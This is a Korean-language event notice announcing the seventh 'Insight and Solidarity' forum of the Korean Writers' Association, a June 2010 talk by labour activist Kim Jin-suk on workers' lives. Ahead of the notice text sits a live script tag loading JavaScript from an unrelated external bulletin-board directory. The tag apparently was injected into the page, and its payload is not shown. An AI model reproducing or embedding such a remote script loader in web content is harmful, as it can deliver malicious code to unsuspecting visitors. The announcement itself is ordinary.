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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> (사)한국작가회의 자유실천위원회 포럼 ‘통찰과 연대’ 일곱 번째
(사)한국작가회의 자유실천위원회에서 ‘통찰과 연대’라는 주제로 여는 포럼의 일곱 번째, “ 노동자의 삶과 길“이 오는 6월 24일(목) 6시에 서울시 중부여성발전센터에서 열린다.
(사)한국작가회의 자유실천위원회가 주관하는 포럼 ‘통찰과 연대’ 일곱 번째는 김진숙 민주노총 부산본부 지도위원의 삶과 길을 통해 우리 시대의 노동자의 삶에 대해서 생각에 젖는 시간을 갖는다. 김진숙 지도위원은 아이스크림 장사, 버스 안내양, 신문 배달, 조선소 용접공을 거친 한국 여성 노동자의 전형에 가깝다. 그러한 그가 노동조합 대의원에 출마했다가 해고를 당하고 대공분실에 끌려가고 징역을 살고 수배를 당한 젊은 시절은 정확히 지난 시절 한국 사회의 변곡점에 해당된다. 고 노무현 대통령에 대한 조사 중 가장 심금을 울리는 글 중 하나로 거론되는 조사를 ‘개인적으로’ 쓰기도 했던 김진숙 지도위원은 최근 한진중공업 정리해고 사태에 맞서 단식투쟁을 벌이기도 했다. 대기업 노조 중심의 노동운동으로 인해 마치 우리 사회는 노동자 운동이 불필요하거나 한물 간 문제처럼 치부하는 경향이 있으나 김진숙 지도위원을 통해 우리는 새로운 노동자의 출현을 목도하게 될 것이다. 스스로를 갈 데 없는 비정규직 노동자라고 밝히는 그의 시선은, 어쩌면 노동자 계급의 내부 식민지를 가리키고 있을지도 모른다. 그 내부 식민지의 형체와 지형은 무엇일까. 그 내부 식민지의 목소리와 노래는 무엇일까. 그 내부 식민지의 비명과 울음은 무엇일까.
인구에 회자되는 21세기의 희망과는 별도로 확대되는 이 내부 식민지를 우리는 도외시할 것인가, 아니면 바로 볼 것인가. 이에 대한 물음을 스스로에게 품는 자리를, 이번 일곱 번째 ‘통찰과 연대’가 펼쳐 주리라 기대해 본다.
▷ 때 : 2010년 6월 24일(목) 늦은 6시
▷ 곳 : 서울중부여성발전센터
▷ 주최 : (사)한국작가회의
▷ 주관 : (사)한국작가회의 자유실천위원회
▷ 강사 : 김진숙(민주노총 부산본부 지도위원)
▷ 제목 : 노동자의 삶과 길
▷ 참가비 : 1만원
자세한 문의는 (사)한국작가회의 사무처 Tel. 02)313-1486
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